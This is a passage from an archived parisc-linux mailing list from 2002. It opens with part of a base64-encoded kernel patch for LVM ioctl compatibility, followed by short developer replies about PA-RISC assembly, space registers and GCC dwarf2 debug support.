aW5kZXgsICYoKGx2X3N0YXR1c19ieWluZGV4X3JlcTMyX3QgKilhcmcpLT5sdl9pbmRleCk7CisJ
CWVyciA9IGdldF91c2VyKHUubHZfYnlpbmRleC5sdl9pbmRleCwKKwkJCSAgICAgICAmKChsdl9z
dGF0dXNfYnlpbmRleF9yZXEzMl90ICopYXJnKS0+bHZfaW5kZXgpOwogCQllcnIgfD0gX19nZXRf
dXNlcihwdHIsICYoKGx2X3N0YXR1c19ieWluZGV4X3JlcTMyX3QgKilhcmcpLT5sdik7Ci0JCWlm
IChlcnIpIHJldHVybiBlcnI7CisJCWlmIChlcnIpCisJCQlyZXR1cm4gZXJyOwogCQl1Lmx2X2J5
aW5kZXgubHYgPSBnZXRfbHZfdChwdHIsICZlcnIpOwogCQlicmVhazsKKworCWNhc2UgTFZfU1RB
VFVTX0JZREVWOgorCSAgICAgICAgZXJyID0gZ2V0X3VzZXIodS5sdl9ieWRldi5kZXYsICYoKGx2
X3N0YXR1c19ieWRldl9yZXEzMl90ICopYXJnKS0+ZGV2KTsKKwkJZXJyIHw9IF9fZ2V0X3VzZXIo
cHRyLCAmKChsdl9zdGF0dXNfYnlkZXZfcmVxMzJfdCAqKWFyZyktPmx2KTsKKwkJaWYgKGVycikK
KwkJCXJldHVybiBlcnI7CisJCXUubHZfYnlkZXYubHYgPSBnZXRfbHZfdChwdHIsICZlcnIpOwor
CQlicmVhazsKKwogCWNhc2UgVkdfRVhURU5EOgotCQllcnIgPSBjb3B5X2Zyb21fdXNlcigmcCwg
KHZvaWQgKilhcmcsIHNpemVvZihwdjMyX3QpIC0gOCk7Ci0JCWlmIChlcnIpIHJldHVybiAtRUZB
VUxUOwotCQlwLnBlID0gTlVMTDsgcC5pbm9kZSA9IE5VTEw7CisJCWVyciA9IGNvcHlfZnJvbV91
c2VyKCZwLCAodm9pZCAqKWFyZywgc2l6ZW9mKHB2MzJfdCkgLSA4IC0gVVVJRF9MRU4rMSk7CisJ
CWlmIChlcnIpCisJCQlyZXR1cm4gLUVGQVVMVDsKKwkJZXJyID0gY29weV9mcm9tX3VzZXIocC5w
dl91dWlkLCAoKHB2MzJfdCAqKWFyZyktPnB2X3V1aWQsIFVVSURfTEVOKzEpOworCQlpZiAoZXJy
KQorCQkJcmV0dXJuIC1FRkFVTFQ7CisJCXAucGUgPSBOVUxMOworCQlwLmJkID0gTlVMTDsKIAkJ
a2FyZyA9ICZwOwogCQlicmVhazsKLQljYXNlIExFX1JFTUFQOgotCQllcnIgPSBjb3B5X2Zyb21f
dXNlcigmdS5sZV9yZW1hcCwgKHZvaWQgKilhcmcsIHNpemVvZihsZV9yZW1hcF9yZXEzMl90KSk7
Ci0JCWlmIChlcnIpIHJldHVybiAtRUZBVUxUOwotCQl1LmxlX3JlbWFwLm5ld19wZSA9ICgobGVf
cmVtYXBfcmVxMzJfdCAqKSZ1LmxlX3JlbWFwKS0+bmV3X3BlOwotCQl1LmxlX3JlbWFwLm9sZF9w
ZSA9ICgobGVfcmVtYXBfcmVxMzJfdCAqKSZ1LmxlX3JlbWFwKS0+b2xkX3BlOwotCQlicmVhazsK
KwogCWNhc2UgUFZfQ0hBTkdFOgogCWNhc2UgUFZfU1RBVFVTOgogCQllcnIgPSBjb3B5X2Zyb21f
dXNlcigmdS5wdl9zdGF0dXMsIGFyZywgc2l6ZW9mKHUubHZfcmVxLmx2X25hbWUpKTsKLQkJaWYg
KGVycikgcmV0dXJuIC1FRkFVTFQ7CisJCWlmIChlcnIpCisJCQlyZXR1cm4gLUVGQVVMVDsKIAkJ
ZXJyID0gX19nZXRfdXNlcihwdHIsICYoKHB2X3N0YXR1c19yZXEzMl90ICopYXJnKS0+cHYpOwot
CQlpZiAoZXJyKSByZXR1cm4gZXJyOworCQlpZiAoZXJyKQorCQkJcmV0dXJuIGVycjsKIAkJdS5w
dl9zdGF0dXMucHYgPSAmcDsKIAkJaWYgKGNtZCA9PSBQVl9DSEFOR0UpIHsKLQkJCWVyciA9IGNv
cHlfZnJvbV91c2VyKCZwLCAodm9pZCAqKUEocHRyKSwgc2l6ZW9mKHB2MzJfdCkgLSA4KTsKLQkJ
CWlmIChlcnIpIHJldHVybiAtRUZBVUxUOwotCQkJcC5wZSA9IE5VTEw7IHAuaW5vZGUgPSBOVUxM
OworCQkJZXJyID0gY29weV9mcm9tX3VzZXIoJnAsICh2b2lkICopQShwdHIpLAorCQkJCQkgICAg
IHNpemVvZihwdjMyX3QpIC0gOCAtIFVVSURfTEVOKzEpOworCQkJaWYgKGVycikKKwkJCQlyZXR1
cm4gLUVGQVVMVDsKKwkJCXAucGUgPSBOVUxMOworCQkJcC5iZCA9IE5VTEw7CiAJCX0KIAkJYnJl
YWs7Ci0JfQorCX07CisKICAgICAgICAgb2xkX2ZzID0gZ2V0X2ZzKCk7IHNldF9mcyAoS0VSTkVM
X0RTKTsKICAgICAgICAgZXJyID0gc3lzX2lvY3RsIChmZCwgY21kLCAodW5zaWduZWQgbG9uZylr
YXJnKTsKICAgICAgICAgc2V0X2ZzIChvbGRfZnMpOworCiAJc3dpdGNoIChjbWQpIHsKIAljYXNl
IFZHX1NUQVRVUzoKIAkJaWYgKCFlcnIpIHsKQEAgLTIwOTcsMzUgKzIxNTcsNjUgQEAKIAkJCSAg
ICBjbGVhcl91c2VyKCYoKHZnMzJfdCAqKWFyZyktPnByb2MsIHNpemVvZih2ZzMyX3QpIC0gKGxv
bmcpJigodmczMl90ICopMCktPnByb2MpKQogCQkJCWVyciA9IC1FRkFVTFQ7CiAJCX0KKwkJaWYg
KGNvcHlfdG9fdXNlcigoKHZnMzJfdCAqKWFyZyktPnZnX3V1aWQsIHYtPnZnX3V1aWQsIFVVSURf
TEVOKzEpKSB7CisJCSAgICAgICAgZXJyID0gLUVGQVVMVDsKKwkJfQogCQlrZnJlZSh2KTsKIAkJ
YnJlYWs7CisKKwljYXNlIFZHX0NSRUFURV9PTEQ6CiAJY2FzZSBWR19DUkVBVEU6Ci0JCWZvciAo
aSA9IDA7IGkgPCB2LT5wdl9tYXg7IGkrKykKLQkJCWlmICh2LT5wdltpXSkga2ZyZWUodi0+cHZb
aV0pOwotCQlmb3IgKGkgPSAwOyBpIDwgdi0+bHZfbWF4OyBpKyspCi0JCQlpZiAodi0+bHZbaV0p
IHB1dF9sdl90KHYtPmx2W2ldKTsKKwkJZm9yIChpID0gMDsgaSA8IHYtPnB2X21heDsgaSsrKSB7
CisJCQlpZiAodi0+cHZbaV0pCisJCQkJa2ZyZWUodi0+cHZbaV0pOworCQl9CisJCWZvciAoaSA9
IDA7IGkgPCB2LT5sdl9tYXg7IGkrKykgeworCQkJaWYgKHYtPmx2W2ldKQorCQkJCXB1dF9sdl90
KHYtPmx2W2ldKTsKKwkJfQogCQlrZnJlZSh2KTsKIAkJYnJlYWs7CisKIAljYXNlIExWX1NUQVRV
U19CWU5BTUU6Ci0JCWlmICghZXJyICYmIHUubHZfcmVxLmx2KSBlcnIgPSBjb3B5X2x2X3QocHRy
LCB1Lmx2X3JlcS5sdik7CisJCWlmICghZXJyICYmIHUubHZfcmVxLmx2KQorCQkJZXJyID0gY29w
eV9sdl90KHB0ciwgdS5sdl9yZXEubHYpOwogCQkvKiBGYWxsIHRocm91Z2ggKi8KKwogICAgICAg
ICBjYXNlIExWX0NSRUFURToKIAljYXNlIExWX0VYVEVORDoKIAljYXNlIExWX1JFRFVDRToKLQkJ
aWYgKHUubHZfcmVxLmx2KSBwdXRfbHZfdCh1Lmx2X3JlcS5sdik7CisJCWlmICh1Lmx2X3JlcS5s
dikKKwkJCXB1dF9sdl90KHUubHZfcmVxLmx2KTsKIAkJYnJlYWs7CisKIAljYXNlIExWX1NUQVRV
U19CWUlOREVYOgogCQlpZiAodS5sdl9ieWluZGV4Lmx2KSB7Ci0JCQlpZiAoIWVycikgZXJyID0g
Y29weV9sdl90KHB0ciwgdS5sdl9ieWluZGV4Lmx2KTsKKwkJCWlmICghZXJyKQorCQkJCWVyciA9
IGNvcHlfbHZfdChwdHIsIHUubHZfYnlpbmRleC5sdik7CiAJCQlwdXRfbHZfdCh1Lmx2X2J5aW5k
ZXgubHYpOwogCQl9CisJCWJyZWFrOworCisJY2FzZSBMVl9TVEFUVVNfQllERVY6CisJICAgICAg
ICBpZiAodS5sdl9ieWRldi5sdikgeworCQkJaWYgKCFlcnIpCisJCQkJZXJyID0gY29weV9sdl90
KHB0ciwgdS5sdl9ieWRldi5sdik7CisJCQlwdXRfbHZfdCh1Lmx2X2J5aW5kZXgubHYpOworCSAg
ICAgICAgfQorCSAgICAgICAgYnJlYWs7CisKIAljYXNlIFBWX1NUQVRVUzoKIAkJaWYgKCFlcnIp
IHsKLQkJCWVyciA9IGNvcHlfdG9fdXNlcigodm9pZCAqKUEocHRyKSwgJnAsIHNpemVvZihwdjMy
X3QpIC0gOCk7Ci0JCQlpZiAoZXJyKSByZXR1cm4gLUVGQVVMVDsJCQorCQkJZXJyID0gY29weV90
b191c2VyKCh2b2lkICopQShwdHIpLCAmcCwgc2l6ZW9mKHB2MzJfdCkgLSA4IC0gVVVJRF9MRU4r
MSk7CisJCQlpZiAoZXJyKQorCQkJCXJldHVybiAtRUZBVUxUOworCQkJZXJyID0gY29weV90b191
c2VyKCgocHZfdCAqKUEocHRyKSktPnB2X3V1aWQsIHAucHZfdXVpZCwgVVVJRF9MRU4gKyAxKTsK
KwkJCWlmIChlcnIpCisJCQkJcmV0dXJuIC1FRkFVTFQ7CiAJCX0KIAkJYnJlYWs7Ci0JfQorCX07
CisKIAlyZXR1cm4gZXJyOwogfQogI2VuZGlmCkBAIC0zMzA5LDYgKzMzOTksNyBAQAogQ09NUEFU
SUJMRV9JT0NUTChWR19TVEFUVVNfR0VUX0NPVU5UKQogQ09NUEFUSUJMRV9JT0NUTChWR19TVEFU
VVNfR0VUX05BTUVMSVNUKQogQ09NUEFUSUJMRV9JT0NUTChWR19SRU1PVkUpCitDT01QQVRJQkxF
X0lPQ1RMKFZHX1JFTkFNRSkKIENPTVBBVElCTEVfSU9DVEwoVkdfUkVEVUNFKQogQ09NUEFUSUJM
RV9JT0NUTChQRV9MT0NLX1VOTE9DSykKIENPTVBBVElCTEVfSU9DVEwoUFZfRkxVU0gpCkBAIC0z
MzIwLDYgKzM0MTEsOSBAQAogQ09NUEFUSUJMRV9JT0NUTChMVl9TRVRfQUNDRVNTKQogQ09NUEFU
SUJMRV9JT0NUTChMVl9TRVRfU1RBVFVTKQogQ09NUEFUSUJMRV9JT0NUTChMVl9TRVRfQUxMT0NB
VElPTikKK0NPTVBBVElCTEVfSU9DVEwoTEVfUkVNQVApCitDT01QQVRJQkxFX0lPQ1RMKExWX0JN
QVApCitDT01QQVRJQkxFX0lPQ1RMKExWX1NOQVBTSE9UX1VTRV9SQVRFKQogI2VuZGlmIC8qIExW
TSAqLwogI2lmIGRlZmluZWQoQ09ORklHX0RSTSkgfHwgZGVmaW5lZChDT05GSUdfRFJNX01PRFVM
RSkKIENPTVBBVElCTEVfSU9DVEwoRFJNX0lPQ1RMX0dFVF9NQUdJQykKQEAgLTM0NzIsMTUgKzM1
NjYsMTcgQEAKIEhBTkRMRV9JT0NUTChTT05FVF9HRVRGUlNFTlNFLCBkb19hdG1faW9jdGwpCiAj
aWYgZGVmaW5lZChDT05GSUdfQkxLX0RFVl9MVk0pIHx8IGRlZmluZWQoQ09ORklHX0JMS19ERVZf
TFZNX01PRFVMRSkKIEhBTkRMRV9JT0NUTChWR19TVEFUVVMsIGRvX2x2bV9pb2N0bCkKK0hBTkRM
RV9JT0NUTChWR19DUkVBVEVfT0xELCBkb19sdm1faW9jdGwpCiBIQU5ETEVfSU9DVEwoVkdfQ1JF
QVRFLCBkb19sdm1faW9jdGwpCiBIQU5ETEVfSU9DVEwoVkdfRVhURU5ELCBkb19sdm1faW9jdGwp
CiBIQU5ETEVfSU9DVEwoTFZfQ1JFQVRFLCBkb19sdm1faW9jdGwpCiBIQU5ETEVfSU9DVEwoTFZf
UkVNT1ZFLCBkb19sdm1faW9jdGwpCiBIQU5ETEVfSU9DVEwoTFZfRVhURU5ELCBkb19sdm1faW9j
dGwpCiBIQU5ETEVfSU9DVEwoTFZfUkVEVUNFLCBkb19sdm1faW9jdGwpCitIQU5ETEVfSU9DVEwo
TFZfUkVOQU1FLCBkb19sdm1faW9jdGwpCiBIQU5ETEVfSU9DVEwoTFZfU1RBVFVTX0JZTkFNRSwg
ZG9fbHZtX2lvY3RsKQogSEFORExFX0lPQ1RMKExWX1NUQVRVU19CWUlOREVYLCBkb19sdm1faW9j
dGwpCi1IQU5ETEVfSU9DVEwoTEVfUkVNQVAsIGRvX2x2bV9pb2N0bCkKK0hBTkRMRV9JT0NUTChM
Vl9TVEFUVVNfQllERVYsIGRvX2x2bV9pb2N0bCkKIEhBTkRMRV9JT0NUTChQVl9DSEFOR0UsIGRv
X2x2bV9pb2N0bCkKIEhBTkRMRV9JT0NUTChQVl9TVEFUVVMsIGRvX2x2bV9pb2N0bCkKICNlbmRp
ZiAvKiBMVk0gKi8K


---MOQ102346388941a5794325967400bcc584b45f0161e6--



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Fri, 7 Jun 2002 12:42:37 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200206071642.g57GgbbQ013056@hiauly1.hia.nrc.ca>
References: <20020607110820.C10576@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621377 8528 80.91.229.3 (22 Nov 2014 01:56:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:17 +0000 (UTC)
Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 10:42:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3539B482E
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 10:42:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g57GgbFN013058;
	Fri, 7 Jun 2002 12:42:38 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g57GgbbQ013056;
	Fri, 7 Jun 2002 12:42:37 -0400 (EDT)
In-Reply-To: <20020607110820.C10576@systemhalted> from "Carlos O'Donell Jr." at Jun 7, 2002 11:08:20 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15038

> -       ldw -12(%r22),%r19
> -       extrs %r20,27,28,%r20
> +       ldo -16(%r20),%r20
> +       ldw 4(%r20),%r19

> Aside from some register juggling, the only difference is
> that we now use 'ldo,ldw,sub,extrs' instead of 'sub,ldw,extrs'.
> The question is: Can this do bad things?

The only possible difference is the space register selection could be
different for the ldw insns in the old code versus the new because the
pointer values in the base differ by 16.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange message with insmod
Date: Fri, 7 Jun 2002 12:23:21 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200206071623.g57GNMh0009786@hiauly1.hia.nrc.ca>
References: <20020607073658.A10393@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621377 8529 80.91.229.3 (22 Nov 2014 01:56:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:17 +0000 (UTC)
Cc: bruno_vidal@hpfrcu03.france.hp.com,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 10:42:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90BA1482E
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 10:42:48 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g57GNNFN009793;
	Fri, 7 Jun 2002 12:23:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g57GNMh0009786;
	Fri, 7 Jun 2002 12:23:22 -0400 (EDT)
In-Reply-To: <20020607073658.A10393@systemhalted> from "Carlos O'Donell Jr." at Jun 7, 2002 07:36:58 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15039

> GCC 3.2 is the only branch that has dwarf2 support for HPPA?
> You'll have to live with stabs.

That's not quite true.  You can generate dwarf2 debug information on
previous versions.  3.2 is the first version with working support
for eh frame information.  By working, I mean that the C++ exception
support appears to work for normal exceptions.  I don't really know
if gdb is using this information.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Fri, 7 Jun 2002 17:48:43 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020607174843.O27186@parcelfarce.linux.theplanet.co.uk>
References: <20020607110820.C10576@systemhalted> <200206071642.g57GgbbQ013056@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621378 8535 80.91.229.3 (22 Nov 2014 01:56:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:18 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 10:48:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90DFF483D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 10:48:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17GMup-00049E-00; Fri, 07 Jun 2002 17:48:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206071642.g57GgbbQ013056@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, Jun 07, 2002 at 12:42:37PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15040

On Fri, Jun 07, 2002 at 12:42:37PM -0400, John David Anglin wrote:
> The only possible difference is the space register selection could be
> different for the ldw insns in the old code versus the new because the
> pointer values in the base differ by 16.

but not in the kernel because all space registers are set to 0.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Fri, 7 Jun 2002 13:01:29 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200206071701.g57H1T6M016445@hiauly1.hia.nrc.ca>
References: <20020607174843.O27186@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621378 8545 80.91.229.3 (22 Nov 2014 01:56:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:18 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 11:01:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DAED4841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 11:01:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g57H1UFN016449;
	Fri, 7 Jun 2002 13:01:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g57H1T6M016445;
	Fri, 7 Jun 2002 13:01:29 -0400 (EDT)
In-Reply-To: <20020607174843.O27186@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jun 7, 2002 05:48:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15041

> On Fri, Jun 07, 2002 at 12:42:37PM -0400, John David Anglin wrote:
> > The only possible difference is the space register selection could be
> > different for the ldw insns in the old code versus the new because the
> > pointer values in the base differ by 16.
> 
> but not in the kernel because all space registers are set to 0.

Are they always 0 or are there situations where drivers change a space
register value?  If they never change, then the memory limit is still
3GB.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Fri, 7 Jun 2002 18:06:13 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020607180613.P27186@parcelfarce.linux.theplanet.co.uk>
References: <20020607174843.O27186@parcelfarce.linux.theplanet.co.uk> <200206071701.g57H1T6M016445@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621378 8552 80.91.229.3 (22 Nov 2014 01:56:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:18 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, carlos@baldric.uwo.ca,
	tausq@debian.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 11:06:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1D734846
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 11:06:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17GNBl-0004d9-00; Fri, 07 Jun 2002 18:06:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206071701.g57H1T6M016445@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, Jun 07, 2002 at 01:01:29PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15042

On Fri, Jun 07, 2002 at 01:01:29PM -0400, John David Anglin wrote:
> Are they always 0 or are there situations where drivers change a space
> register value?  If they never change, then the memory limit is still
> 3GB.

